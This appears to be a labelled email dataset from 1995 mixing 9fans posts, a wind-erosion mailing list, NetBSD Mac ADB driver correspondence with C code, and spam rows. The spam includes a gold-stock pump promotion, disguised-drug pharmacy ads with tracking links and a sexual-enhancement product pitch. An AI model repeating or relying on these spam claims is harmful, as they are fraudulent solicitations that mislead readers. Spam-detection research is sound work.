Beef/veal exports 385 410 425 420 Beef/veal imports 690 655 630 510 Pork exports 130 125 110 130 Pork imports 180 190 180 180 Broiler exports 675 745 730 870 Turkey exports 52 66 65 77 /1 Macro economic forecast source: Survey of Professional Forecasters, Philadelphia Federal Reserve, August 1994 ",0,0 Jim Davis ,9fans,"Wed, 01 Mar 1995 23:33:57 -0500",Re: trying to get 9wm...,"On Wed, 1 Mar 1995, Steve Kotsopoulos wrote: > does anyone on the list have ftp.cs.su.oz.au/dhog/9wm mirrored? Now mirrored to ftp.cs.arizona.edu:/9wm, too. ",0,0 Amos Shapir ,9fans,"Wed, 01 Mar 1995 08:16:34 -0500",Bug in rc,"Try the following: #!/bin/rc for (iter in 1 2 3 4 5) { echo $iter sleep 5 & wait } Somehow, the ""wait"" botches the ""for""'s argument list. -- Amos Shapir Net: amos@cs.huji.ac.il Paper: The Hebrew Univ. of Jerusalem, Dept. of Comp. Science. Givat-Ram, Jerusalem 91904, Israel Tel: +972 2 585706,586950 GEO: 35 11 46 E / 31 46 21 N ",0,0 Rosella Jeffries ,jose@zingg.weru.ksu.edu,"Fri, 03 Mar 1995 01:00:01 -0540",fw: 0f Mark Sara reviewed a invest0r 's market 's investment ,"Why MGMX should be on your radar screen now! GOLD= way over $600 an ounce and some analysts predict gold will go way higher. Glamis Gold, once as low as $2.68 a share, now $42. Agnico Eagle, a $5 stock in 2001, now $40. Royal Gold, trading at $2.60 just five years ago, now fetching $34 a share. These are the mining companies that Wall Street “wouldn’t touch with a ten-foot pole.” MGM Mineral Resources Completes Acquisition of La Esperanza Mine in Colombia's Highest Yielding Gold Zone As announced, the company has acquired La Esperanza Mine, appointed a world renowned Lead Geologist, and is working to close acquisitions of other promising mining properties in Colombia. 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We intend to sell all our shares now, which could cause the stock to go down, resulting in losses for you. This company has a nominal cash position . Read the Company's Annual Report and Information Statement if one is available before you invest. This report shall not be construed as any kind of investment advice or solicitation. You can lose all your money by investing in this stock. ",1,0 Ted Zobeck ,Multiple recipients of list ,"Fri, 03 Mar 1995 12:43:01 -0600",Re: Wind Erosion in Israel,"Greeting all! It is March and time for the wind to blow in West Texas. We are prepared to sample aeolian sediment but since it is <5C and snowing we will wait for a few days. I have a question that I hope someone on the list might help me with. Does anyone know of the extent of wind erosion now occurring in Israel? I visited there once but did not make it to the wind erosion-prone areas. Thank you in advance for any information you may provide. Ciao, Ted Zobeck tzobeck@lubbock.ars.ag.gov",0,0 """Jack (John) Gillies"" ",Multiple recipients of list ,"Fri, 03 Mar 1995 18:28:31 -0600",Re: Wind Erosion in Israel,"Hi Ted, Happy wind erosion monitoring (weather permitting)! I do not have any direct information concerning wind erosion in Israel, but I may be able to put you in touch with someone who can help you. I met Dr. Louis Berkofsky, Prof. Emeritus at The Jacob Blaustein Institute for Desert Research, Sede Boker, Israel and he could connect you with the right Israeli researchers (I think). He is a very open and friendly person who would probably be glad to assist you. His e-mail address is: louis@vms.huji.ac.il Cheers, Jack Gillies Energy and Environmental Engineering Center, Desert Research Institute, Reno NV ",0,0 Dirk=Goossens%FGK%GEO@cc3.kuleuven.ac.be,Multiple recipients of list ,"Mon, 06 Mar 1995 05:54:13 -0600",re: Re: Wind Erosion in Israel,"Hi Ted, I saw your request about wind erosion in Israel. Apart from Haim Tsoar, who is also a member of the wind_erosion list and who works in the Negev, you can try to get further information from Dr. Zvi Offer who is temporarily working at the Katholieke Universiteit Leuven (Belgium) until 30 August 1995. You can contact him via my e-mail address. Best regards, Dirk Goossens ",0,0 Bethany Crowley ,"marsha@zingg.weru.ksu.edu, nina@zingg.weru.ksu.edu, manuela@zingg.weru.ksu.edu, cara@zingg.weru.ksu.edu, irma@zingg.weru.ksu.edu, chelsea@zingg.weru.ksu.edu, brigitte@zingg.weru.ksu.edu, margo@zingg.weru.ksu.edu","Wed, 08 Mar 1995 07:59:07 -0400",Doesn't Keep You Up At Night...Stimulant Free ,"Summer is coming, did you look in the mirror lately? If you`re still overweight read on..... For years, the weight loss industry has led us to believe that in order to look great and stay in shape, you could never eat your favorite foods. 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My recollection is that this occurred more in the past than of late ... but I haven't been keeping records. Networks cabled with copper can become very large antennae should they not be properly grounded. This makes them susceptable to interference and damage from radio frequencies and static electricity. With the advent of fiber optic networks, this problem is diminished. Dust (and other atmospheric phenomenon) can cause problems for other 'line of sight' transmission methods, such as, laser and radio links. These technologies are sometimes used in data networking to connect locations when cabling is prohibitive. Airborne dust can interrupt and/or degrade the quality of the transmission to the point of being unusable. As a result, TTU doesn't not use this form of wireless communication technology for data networking. ------------------------------------------------------------------ ------------------------------------------------------------------ Jeff Lee Dept. of Economics and Geography Texas Tech University Lubbock, Texas 79409-1014 USA Phone: 1-806-742-3838 Fax: 1-806-742-1137 e-mail: adgjl@ttacs.ttu.edu or j.lee@ttu.edu ------------------------------------------------------------------ ------------------------------------------------------------------ ",0,0 Tom Gill ,Multiple recipients of list ,"Thu, 23 Mar 1995 12:46:48 -0600",Dust storm effects on telecommunications and electricity transmission,"The recent post which discussed some of the economic effects of blowing dust events was very much on track. Some of this is documented in a review article I have written which is currently in press for the special eolian issue of Geomorphology. Dust storms have a measurable and significant economic impact. Dust events imperil travel by and degrade the engines of motor vehicles (Khorshid and Navwar, 1991) and aircraft; in 1973, an airliner force-landed during a Harmattan dust haze at Kano, Nigeria, taking 183 lives (Adedokun et al., 1989), and in 1979, an attempt by U.S. military helicopters to rescue hostages in Iran ended in failure when the low-flying craft broke down in a sand and dust storm. Dust storms cause line losses and can seriously impede transmission of electrical power by high-voltage cables (Bofah and Owosu, 1986; Vishwakarma and Rai, 1994), and disrupt telecommunications over microwave links (Al- Rizzo et al., 1993; Arsenyan, 1994). Anecdotal field experience by colleagues who have unsuccessfully attempted to use their cellular phones in a dust storm also tends to confirm the attenuation of/ interference with electromagnetic communications by dust storms. In recent years, I have conducted research at Owens (Dry) Lake, California, one of the largest single sources of blowing dust in the Western Hemisphere. Some of the measurements taken ny other researchers during a recent multinational multidisciplinary experiment there (not yet published formally but expected to be submitted to Journal of Geophysical Research and/or presented at a special session at the next AGU meeting) show extremely strong electrical fields produced within the dust cloud, which would easily account for some of the reported problems. The dust plumes from the desiccated playa cause a significant impact on a U.S. military facility downwind; the base is shut down a number of days every year because of dust affecting visibility and telecommunications and remote sensing on the base, and for every day the facility is nonoperational millions of dollars in economic losses for ""down time"" are incurred. References: Adedokun, J.A., Emofurieta, W.O., and Adedeji, O.A., 1989. Physical, Mineralogical and Chemical Properties of Harmattan Dust at Ile-Ife, Nigeria. Theoretical and Applied Climatology 40: 161-169. Al-Rizzo, H.M., Al-Hafid, H.T., and Vishvakarma, B.R., 1993. Effect of sand and dust storms on terrestrial microwave links. Journal of the Institution of Engineers (India) Electronics and Telecommunications Engineering Division 74: 26- 30. Arsenyan, T.I., 1994. Microwave attenuation over communication links in an intense sand dust atmospheric aerosol. Telecommunications and Radio Engineering 44: 28- 30. Bofah, K.K., and Owusu, Y.A., 1986. The Eolian Sand Problems Arising from Desertification. Environmental Monitoring and Assessment 6: 283- 292. Khorshid, E.A., and Navwar, A.M., 1991. A review of the effect of sand, dust and filtration on automobile engine wear. Wear 141: 349- 371. Vishwakarma, B.R., and Rai, C.S., 1994. Transmission line model for loss evaluation in sand and dust storms. Indian Journal of Radio and Space Physics 23: 205- 212. -Tom Gill Air Quality Group, Crocker Nuclear Laboratory University of California Davis, CA 95616 tegill@ucdavis.edu ",0,0 """Recrudescence V. Pratt"" ",Bait ,"Mon, 27 Mar 1995 06:25:52 -0400",The Ultimate Online Pharmaceuticals,"Vliwagra $3.3 Levitera $3.3 Cialwis $3.7 Imitrxex $16.4 Fklomax $2.2 Ultrxam $0.78 Vioexx $4.75 Amwblem $2.2 VaIixum - $0.97 Xanrax $1.09 Sorma $3 Meriodia $2.2 visit our website http://gianoder.com/?UHJENDU1NaQBhUSlBRWV1XV3RQXBxQVQ== ___ Best regards, Online Pharmaceuticals asdffgjd U1NaQBhUSlBRWV1XV3RQXBxQVQ== A barking dog never bites. Come live with me and you shall know me. Better late than never. ",1,1 stephang@branson.org,Multiple recipients of list ,"Mon, 27 Mar 1995 14:16:29 -0600",overgrazing,"Dear List Members, Hi, my name is Stephanie Gerson. I am doing a report on overgrazing for my science class. Since you are experts on overgrazing, I would really appreciate it if you could write bavk and send me some ideas on how to obtain information. How is overgrazing related to wind erosion? Do you know of any arcticles or books I should review? Are there any addresses I should weite to?Thank you very much!! Have a nice day. Sincerely, Stephanie Gerson ",0,0 Symphony Scanlan ,catalina@zingg.weru.ksu.edu,"Tue, 28 Mar 1995 10:37:38 -0700",Re: your VtkAGRA,"Hi V X P C L V A A a r I e I m L n o A v A b I a z L i G i U x a I t R e M c S ra A n http://www.temaferte.com of the ring (not just now he thought). They were particularly interested in the riddle-competition, and shuddered most appreciatively at his description of Gollum. And then I couldnt think of any other question with him sitting beside me, ended Bilbo; so I said whats in my pocket? And he couldnt guess in three goes. So I said: what about your promise? Show ",1,1 John Stout ,Multiple recipients of list ,"Thu, 30 Mar 1995 11:51:50 -0600",Electrical Effects and Dust,"To: Wind Erosion List Members From: John Stout Re: Electrical effects of dust storms For those interested in electrical effects associated with dust storms, I recently stumbled upon a Masters Thesis entitled, ""A Study of Certain Atmospheric Electrical Phenomena Accompanying Sand Storms"" by Charles E. Houston. This thesis was submitted to the Graduate School of Texas Tech. University in 1932--during the infamous ""Dustbowl."" Houston made measurements of potential gradient during numerous sand storms in Lubbock, Texas. He states that ""Actual measurements have shown that it is not unusual for a vertical potential gradient of 2000 volts per meter to exist during a sand storm."" This manuscript can be obtained from Texas Tech. University through interlibrary loan. ",0,0 adgjl@ttacs1.ttu.edu,Multiple recipients of list ,"Thu, 30 Mar 1995 14:00:05 -0600",more electrical stuff,"In case anyone is interested, Tom Gill mentioned the following article to me: Kanagy, S.P. and C. John Mann, 1994, Electrical properties of eolian sand and silt: Earth Science Reviews, v. 36, p. 181-204. I have only glanced at it, but it appears to be a rather thorough discussion of the topic, mostly from a theoretical point of view. They comment that field measurements are sorely needed. Jeff Lee ------------------------------------------------------------------ ------------------------------------------------------------------ Jeff Lee Dept. of Economics and Geography Texas Tech University Lubbock, Texas 79409-1014 USA Phone: 1-806-742-3838 Fax: 1-806-742-1137 e-mail: adgjl@ttacs.ttu.edu or j.lee@ttu.edu ------------------------------------------------------------------ ------------------------------------------------------------------ ",0,0 Larry Cihacek ,Multiple recipients of list ,"Tue, 04 Apr 1995 14:49:07 -0500",Re: Error Condition Re:," I am requesting a subscription to the wind erosion discussion group. SUBSCRIBE WIND_EROS LARRY CIHACEK THANK YOU. Larry J. Cihacek Soil Science Department North Dakota State University P.O. Box 5638 Fargo, ND 58105-5638 ",0,0 �� ���� ,nikki@zingg.weru.ksu.edu,"Sat, 17 Dec 1927 08:27:56 +0000",�ʿ��� �ݾ� ��ʺоȿ� ���·��Ա� ���ٳ�Ÿ,�� �� �� �� �� �� �� �� �� �� �� ������ �������� ������ ���� ������ �� �� �� �� �� �� �� �� �� �� �� �� ��  �� �� ��  �� �� �� ���������� �� ������ ������������ �� �� ��  ���� ������  ������,1,1 Larry Cihacek ,Multiple recipients of list ,"Fri, 07 Apr 1995 15:06:08 -0500",Re: Error Condition Re:," This is just to make sure that my subscription gets entered since my original message contained an error in it. subscribe wind_erosion Larry Cihacek The original contained the following message: ""subscribe wind_eros Larry Cihacek"" and was resent the same day with the same error. I'm sorry if this caused any problems. Thanks. Dr. Larry J. Cihacek Soil Science Department North Dakota State University P.O. Box 5638 Fargo, ND 58105-5638 ",0,0 dclark@TUred.pa.utulsa.edu,louie@quake.seismo.unr.edu,"Mon, 17 Apr 1995 14:22:10 -0600",tle permission,"Dear Dr. Louie, This communication grants you permission to use figures from The Leading Edge in lectures and electronic communication. Dean Clark, Managing Editor ",0,0 Ted Zobeck ,Multiple recipients of list ,"Thu, 20 Apr 1995 07:34:53 -0500",Re: PM-10 and wind erosion,"Hello wind erosion netters! We have been having quite a spring here in west Texas (Lubbock). Yesterday the wind was out of the east/southeast at about 25-30 mph but we had very little dust. The relative humidity was 66%. At about 15:00 hours a front blew through bringing a thunderstorm with a little rain, hail and gustnadoes. Then a huge dust cloud blew in from the west. By 18:00 the humidity was 13% and the wind speed was 30mph, gusting to about 40mph. Needless to say, a very intense dust storm was produced. What a day! Oh yes, the reason I contacted you was to request some information. I am interested in the contribution of wind erosion to the PM-10 (particles less than 10um aerodynamic diameter) load in the atmosphere. Is anyone else working or interested in this area at this time? I am aware of the project in the Columbia plateau. Are there others out there? Are there any papers reported in this this area? Thanks for any information you might provide. Ted Zobeck Soil Scientist USDA-ARS tzobeck@lubbock.ars.ag.gov ",0,0 "Blake Carlson <""Blake Carlson""@es.co.nz>",sadie@zingg.weru.ksu.edu,"Thu, 20 Apr 1995 22:02:48 -0700",RE:.,"Hey , nice talking to you the other day.  Over a million men have been helped with the potent ingredients in Peniis Growth Patch � men have experienced bigger size, more action,and super-satisfying results for themselves and their partners.Don't be left behind! Take advantage 0f price specials g0ing on now.   Silver Package: 25 Patches reg $129.95, Now $99.95! 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I believe that there has been work to actually estimate wind speed using radar. This can be done by linking surface roughness of water bodies to wind speed. Your email points out some of the limitations that remote sensing has when applied to agriculture, namely resolution, repeatability and cloud cover. ",0,0 Walter Ruetten ,magnus@mit.edu,"Mon, 24 Apr 1995 10:41:21 +0200",Sending and receiving ADB command from the Mac side,"*** EOOH *** Return-Path: From: Walter Ruetten Subject: Sending and receiving ADB command from the Mac side To: magnus@mit.edu Date: Mon, 24 Apr 1995 10:41:21 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 5482 Hi Daniel, last weekend, I got a test program running (see below) which reads and writes to the Egret chip from the MacSide. It compiles with Symantec C 7.0 (link with ANSI lib). First command line argument is the number of data sets to receive. The following arguments (hex) are sent to the Egret chip. The program first reads the given number of data sets (typically from the timer tick), then sends the ADB command and then reads again the given number of data sets to see the aswer to the command. ADB commands start with a byte 00, then follows the ADB command as given in 'Inside Macintosh: devices', then any arguments (high byte, low byte).(i.e. 00 2f = Talk register 3 of device 2) The answer string is again 00, then a byte: 00 = success, data set was requested via ADB command 02 = timeout ? no such register or device 40 = data set was sent by Egret without request via ADB command then the command itself followed by the data if requested (TALK command) What is missing in the program is a repetition of the write_ADB routine in the case where a send is aborted due to vPB3 going low. At the moment, there is only a message (didn't get vPB3 high) and that's it. I didn't yet check out the PRAM, RealTimeClock and Power commands. Anyway, now I think it must be possible to get at least the ADB devices to run under NetBSD. If you have some spare time, you could fiddle around with this stuff. I think there is still some work to be done to get this working with 'real' interrupts. I sent this code also to John (jpw@insoft.com), who is very interested in the IIvi/si stuff. I think there is hope ... Ciao Walter --------------------- cut here ----------------------- #include #include #define VIA1 0x50f00000 #define vPB 0x0000 #define vSR 0x1400 #define vACR 0x1600 #define vIFR 0x1a00 #define vPB3 0x08 #define vPB4 0x10 #define vPB5 0x20 #define vSR_INT 0x04 #define vSR_DIR 0x10 #define vSR_IN 0x00 #define vSR_OUT 0x10 #define VIA_(n) *((unsigned char *) (VIA1 + n)) void read_ADB(void); void write_ADB(unsigned char*); void timeout(long); void troedel(long); void spl_7(void); void spl_0(void); long zeit; int main() { int argc; char **argv; int wie_oft, i; unsigned char send_string[16] = ""\\x00""; /* first byte is length ! */ int befehl; argc = ccommand(&argv); printf(""Good morning\\n""); troedel(500000); if ( argc >=2 ) if (1 == sscanf(argv[1], ""%d"", &wie_oft) ) { for (i=2; i 0; ttt-- ); } void spl_7(void) { asm{ ori.w #0x0700,SR } } void spl_0(void) { asm{ and.w #0xf8ff,SR } } --------------------- cut here ----------------------- -- EMail: walter@ghpc8.ihf.rwth-aachen.de | SnailMail: Walter Ruetten _o Turmstr. 190 Phone: ++49 241 807945 _`\\_<, 52064 Aachen Fax : ++49 241 8888213 (*)/'(*) Germany ""History --- an agreeable set of untruths"" -- Powhiri Rika-Heke  1, filed,, Summary-line: 24-Apr to: walter@ghpc8.ihf.rwth #Re: Sending and receiving ADB command from the Mac side Mail-from: From magnus@im.lcs.mit.edu Mon Apr 24 16:18:19 1995 Return-Path: Received: from MIT.EDU (PACIFIC-CARRIER-ANNEX.MIT.EDU) by im.lcs.mit.edu (4.1/IM-1.2S) id AA22638; Mon, 24 Apr 95 16:18:12 EDT Received: from im2.lcs.mit.edu by MIT.EDU with SMTP id AA09015; Mon, 24 Apr 95 16:18:06 EDT Received: by im2.lcs.mit.edu (4.1/IM-1.2S) id AA03032; Mon, 24 Apr 95 16:18:02 EDT Date: Mon, 24 Apr 95 16:18:02 EDT From: magnus@im.lcs.mit.edu (Daniel Risacher) Message-Id: <9504242018.AA03032@im2.lcs.mit.edu.lcs.mit.edu> To: walter@ghpc8.ihf.rwth-aachen.de, magnus@mit.edu In-Reply-To: <199504240841.KAA22649@ghpc6.ihf.rwth-aachen.de> (message from Walter Ruetten on Mon, 24 Apr 1995 10:41:21 +0200 (MET DST)) Subject: Re: Sending and receiving ADB command from the Mac side Reply-To: magnus@mit.edu *** EOOH *** Return-Path: Date: Mon, 24 Apr 95 16:18:02 EDT From: magnus@im.lcs.mit.edu (Daniel Risacher) To: walter@ghpc8.ihf.rwth-aachen.de, magnus@mit.edu In-Reply-To: <199504240841.KAA22649@ghpc6.ihf.rwth-aachen.de> (message from Walter Ruetten on Mon, 24 Apr 1995 10:41:21 +0200 (MET DST)) Subject: Re: Sending and receiving ADB command from the Mac side Reply-To: magnus@mit.edu Hiya, Walter- It's good to hear you are making progress! I've been working at the problem from the other end; rather than trying to understand the hardware, I'm trying to figure out how the software works, specifically the ROM routines. I've made some progress. I've hacked the NMI handler code to do a trace-dump whenever I push Command-Power without disrupting things. So far I've determined that there are (at least) two different loops the netbsd code can get stuck in. loop #1 4081481e,20,24,28,30,32,c4,c6,ca,cc,d2,d6,36,(repeats) loop #2 4081484a,50, (repeats) I'm not sure what loop #1 is waiting for... I haven't looked yet. Loop #2 is waiting for an interrupt on VIA1. I'm also now trying to trace the ADBReInit code under macbsd, by having it print traces for selected address ranges at a time. It's frustrating that a full trace swamps the serial line or scrolls off the monitor fast! I'm trying to track down whichever branch never returns, and what it was waiting for. Once I'm sure what is failing, I'll try to see how it's different from macos. Anyway, these are the brances which never return 4080a752 ... 4080a860 goes to ( this is ADBReInit ) 4080a8f8 goes to 4080aa1a ... 4080aa48 goes to 4080a3dc ... 4080a41c goes to ( this is ADBOp ) 4080a42c . 4080a432 goes to 4080a442 ... ? I've created a WWW page with info I've collected so far at: http://www-im.lcs.mit.edu/homedirs/magnus/IIsi-adb.html if you don't mind, I'll put the last mail you sent to me in there somewhere. (and this message too.)  1, answered,, Mail-from: From walter@ghpc8.ihf.rwth-aachen.de Tue Apr 25 05:10:19 1995 Return-Path: Received: from MIT.EDU (PACIFIC-CARRIER-ANNEX.MIT.EDU) by im.lcs.mit.edu (4.1/IM-1.2S) id AA23414; Tue, 25 Apr 95 05:09:59 EDT Received: from macbeth.ihf.RWTH-Aachen.DE by MIT.EDU with SMTP id AA25068; Tue, 25 Apr 95 05:08:54 EDT Received: (from walter@localhost) by macbeth.ihf.rwth-aachen.de (8.6.9/8.6.6) id LAA24939 for magnus@mit.edu; Tue, 25 Apr 1995 11:06:25 +0200 From: Walter Ruetten Message-Id: <199504250906.LAA24939@macbeth.ihf.rwth-aachen.de> Subject: MacROMs To: magnus@mit.edu Date: Tue, 25 Apr 1995 11:06:15 +0200 (MET DST) In-Reply-To: <9504242018.AA03032@im2.lcs.mit.edu.lcs.mit.edu> from ""Daniel Risacher"" at Apr 24, 95 04:18:02 pm X-Mailer: ELM [version 2.4 PL24] Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 2444 *** EOOH *** Return-Path: From: Walter Ruetten Subject: MacROMs To: magnus@mit.edu Date: Tue, 25 Apr 1995 11:06:15 +0200 (MET DST) In-Reply-To: <9504242018.AA03032@im2.lcs.mit.edu.lcs.mit.edu> from ""Daniel Risacher"" at Apr 24, 95 04:18:02 pm X-Mailer: ELM [version 2.4 PL24] Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 2444 Hi Daniel, > I've made some progress. I've hacked the NMI handler code > to do a trace-dump whenever I push Command-Power without disrupting > things. So far I've determined that there are (at least) two > different loops the netbsd code can get stuck in. I would be interested in this one ... > loop #1 > 4081481e,20,24,28,30,32,c4,c6,ca,cc,d2,d6,36,(repeats) > loop #2 > 4081484a,50, (repeats) > > I'm not sure what loop #1 is waiting for... I haven't looked yet. This loop is waiting for either vPB3 going high +0024 40814824 BTST #$03,(A1) | 0811 0003 which means that the routine can send data to the Egret (ADB) chip or it waits for a shift register interrupt (ADB_ready ? in NetBSD). This interrupt of cause will never occure, because it get killed somewhere in macrom.c: >void mrg_initadbintr() >{ > int i; > > via_reg(VIA1, vIFR) = 0x4; /* XXX - why are we setting the flag? */ > ^*** This is _resetting_ the ADB_ready intr.!!! > via_reg(VIA1, vIER) = 0x84; /* enable ADB interrupt. */ >} As there are several messages coming in from the Egret chip (kind of timer tick every second), the ADB chip wants to be serviced before accepting new commands. But due to the lost interrupt, there ADB chip will never be serviced. > Loop #2 is waiting for an interrupt on VIA1. see above ... I looked through the ADBReInit code and found, that *ADBBase (that is mrg_adbstore in NetBSD/Mac) is not properly initialized. Some init can be found at ADBReInit+0x0b0. Furthermore, when I force the hanging Egret routine > 4081481e,20,24,28,30,32,c4,c6,ca,cc,d2,d6,36,(repeats) to enter the interrupt routine, it stores messages at adress 0 ! because mrg_adbstore2 is not initialized (init possibly at Egret+0x03b4) So there is lots of fun to be expected going through the code, but I will follow both attempts in parallel (MacROM an direct interfacing). > if you don't mind, I'll put the last mail you sent to me > in there somewhere. (and this message too.) Should be ok, I hope Apple won't sue me ... :-) Ciao Walter -- EMail: walter@ghpc8.ihf.rwth-aachen.de | SnailMail: Walter Ruetten _o Turmstr. 190 Phone: ++49 241 807945 _`\\_<, 52064 Aachen Fax : ++49 241 8888213 (*)/'(*) Germany ""History --- an agreeable set of untruths"" -- Powhiri Rika-Heke  1, filed,, Mail-from: From walter@ghpc8.ihf.rwth-aachen.de Thu Apr 27 04:51:03 1995 Return-Path: Received: from MIT.EDU (PACIFIC-CARRIER-ANNEX.MIT.EDU) by im.lcs.mit.edu (4.1/IM-1.2S) id AA25632; Thu, 27 Apr 95 04:50:53 EDT Received: from macbeth.ihf.RWTH-Aachen.DE by MIT.EDU with SMTP id AA07633; Thu, 27 Apr 95 04:49:43 EDT Received: (from walter@localhost) by macbeth.ihf.rwth-aachen.de (8.6.9/8.6.6) id KAA27449 for magnus@mit.edu; Thu, 27 Apr 1995 10:49:29 +0200 From: Walter Ruetten Message-Id: <199504270849.KAA27449@macbeth.ihf.rwth-aachen.de> Subject: Re: MacROMs To: magnus@mit.edu Date: Thu, 27 Apr 1995 10:49:21 +0200 (MET DST) In-Reply-To: <9504262008.AA01414@im5.lcs.mit.edu.lcs.mit.edu> from ""Daniel Risacher"" at Apr 26, 95 04:08:27 pm X-Mailer: ELM [version 2.4 PL24] Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 2717 *** EOOH *** Return-Path: From: Walter Ruetten Subject: Re: MacROMs To: magnus@mit.edu Date: Thu, 27 Apr 1995 10:49:21 +0200 (MET DST) In-Reply-To: <9504262008.AA01414@im5.lcs.mit.edu.lcs.mit.edu> from ""Daniel Risacher"" at Apr 26, 95 04:08:27 pm X-Mailer: ELM [version 2.4 PL24] Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 2717 Hi Dan, > Walter> will disable the specific interrupt. My understanding of > Walter> line 1 above is that it _resets_ the interrupt flag to > Walter> acknowledge the interrupt (I will look into the manual of > Walter> the 6522 VIA this evening to be sure). I check it, it is correct. > Actually, the drivers are supposed to be installed by calling a chain > of procedures installed at jADBProc. BSD sets this to a pointer to > adb_jadbproc which is just 'rts'. The ADBReInit code should initalize > the device table, but the device handler code doesn't get installed > under the BSD scheme until *after* ADBReInit returns- and is set to be > adb_asmcomplete for both the mouse and the kbd by adb_init(). > > Did that make sense? I don't think PostEvent matters. We want the > device handler for both kbd and mouse to be adb_asmcomplete. > Hmm, does that mean that the only thing we need is an interrupt routine which accepts incoming messages from the ADB chip and hands it to adb_asmcomplete() ? That is essentially what ADBOp does if I am not mistaken. If so, it should not be to big a problem starting from the Think C program. Of cause there is some work to be done to change the routine from polling to interrupt operation. Furthermore we would possibly lose the address resolution capability of ADBReInit. More than one keyboard or mouse could then be a problem. > Walter> From what I have seen, there are > Walter> at least three pointers to strings > Walter> which will be sent one after the other and one or two > Walter> strings to accept received messages. I have to bring my > Walter> papers and write it down for you. Here is what I found so far (A2 contains ADBState base address): 00(A2) Flags 02(A2) length of first send string 04(A2) pointer to first send string 08(A2) length of second send string 0a(A2) pointer to second send setring 0e(A2) space left in receive buffer (see 18(A2)) 10(A2) index to receive buffer (see 18(A2)) 12(A2) length of second receive buffer 14(A2) pointer to second receive buffer 18(A2) base pointer to receive buffer 2c(A2) ??? (used to reload 30(A2)) 30(A2) ??? > Also, the ADBState initialization code > is at 408147C0. Didn't yet see this one, I wil have a look to it this evening Ciao Walter -- EMail: walter@ghpc8.ihf.rwth-aachen.de | SnailMail: Walter Ruetten _o Turmstr. 190 Phone: ++49 241 807945 _`\\_<, 52064 Aachen Fax : ++49 241 8888213 (*)/'(*) Germany ""History --- an agreeable set of untruths"" -- Powhiri Rika-Heke  1, filed,, Mail-from: From walter@ghpc8.ihf.rwth-aachen.de Tue May 2 03:54:20 1995 Return-Path: Received: from MIT.EDU (PACIFIC-CARRIER-ANNEX.MIT.EDU) by im.lcs.mit.edu (4.1/IM-1.2S) id AA21802; Tue, 2 May 95 03:54:04 EDT Received: from ghpc6.ihf.RWTH-Aachen.DE by MIT.EDU with SMTP id AA00178; Tue, 2 May 95 03:53:57 EDT Received: (from walter@localhost) by ghpc6.ihf.rwth-aachen.de (8.6.8/8.6.6) id JAA28682 for magnus@mit.edu; Tue, 2 May 1995 09:53:12 +0200 From: Walter Ruetten Message-Id: <199505020753.JAA28682@ghpc6.ihf.rwth-aachen.de> Subject: Re: ADBReInit init To: magnus@mit.edu Date: Tue, 2 May 1995 09:53:11 +0200 (MET DST) In-Reply-To: <9504282155.AA21553@im2.lcs.mit.edu.lcs.mit.edu> from ""Daniel Risacher"" at Apr 28, 95 05:55:48 pm X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 1869 *** EOOH *** Return-Path: From: Walter Ruetten Subject: Re: ADBReInit init To: magnus@mit.edu Date: Tue, 2 May 1995 09:53:11 +0200 (MET DST) In-Reply-To: <9504282155.AA21553@im2.lcs.mit.edu.lcs.mit.edu> from ""Daniel Risacher"" at Apr 28, 95 05:55:48 pm X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 1869 Hi Dan, > Your IIvi > 00000dd0: 00 00 77 3f 01 00 01 a6 > My IIsi: > 00000dd0: 00 00 77 3f 01 00 01 26 Thanks for the info. > For instance, after n seconds, the dummy tick handler > jsr's to the ADB handler (or something like that) so > that the ADB chip gets serviced and vPB3 goes high. Yesterday I commented out the reset of the ADB_READY Flag in the vIFR which is found in mrg_initadbintr() and implemented the call to Egret init (0x408147c4 with a0 set to _ADBBase) whenever the machinetype is MACH_CLASSIIsi. After running through the init routine, I get the Lvl1dt panic ervery second, which tells us two things: 1. it is the timer tick 2. the Egret chip _gets_ serviced because this timer tick is transmitted as a very normal Egret chip to CPU message, just like the ADB messages. So no need to twiddle with vPB3. I then had trouble with register a2 being altered which causes program execution to continue at ADBBase ! which is not a Good Thing (tm). Probably have to save some registers before calling the Egret init. Looking again through the ADBReInit code (the one Brad jumps to), I think that these inits might be sufficient to get the ADB via Egret code to run. Perhaps there is no need to check the ABDReInit+0x0b0 code further. I will look into these things further this evening, but I think we are very close. Ciao Walter PS: If you happen to catch the CPU looping in the Egret code, most of the time a0 should point to the current adb command, so you can look at what should happen next. -- EMail: walter@ghpc8.ihf.rwth-aachen.de | SnailMail: Walter Ruetten _o Turmstr. 190 Phone: ++49 241 807945 _`\\_<, 52064 Aachen Fax : ++49 241 8888213 (*)/'(*) Germany ""History --- an agreeable set of untruths"" -- Powhiri Rika-Heke  1, filed, answered,, Mail-from: From walter@ghpc8.ihf.rwth-aachen.de Sun May 7 10:41:18 1995 Return-Path: Received: from MIT.EDU (PACIFIC-CARRIER-ANNEX.MIT.EDU) by im.lcs.mit.edu (4.1/IM-1.2S) id AA09429; Sun, 7 May 95 10:41:12 EDT Received: from ghpc6.ihf.RWTH-Aachen.DE by MIT.EDU with SMTP id AA25662; Sun, 7 May 95 10:41:01 EDT Received: (from walter@localhost) by ghpc6.ihf.rwth-aachen.de (8.6.8/8.6.6) id QAA16467 for magnus@mit.edu; Sun, 7 May 1995 16:40:59 +0200 From: Walter Ruetten Message-Id: <199505071440.QAA16467@ghpc6.ihf.rwth-aachen.de> Subject: Re: ADBReInit init To: magnus@mit.edu Date: Sun, 7 May 1995 16:40:58 +0200 (MET DST) In-Reply-To: <9505061840.AA04388@im2.lcs.mit.edu.lcs.mit.edu> from ""Daniel Risacher"" at May 6, 95 02:40:35 pm X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit 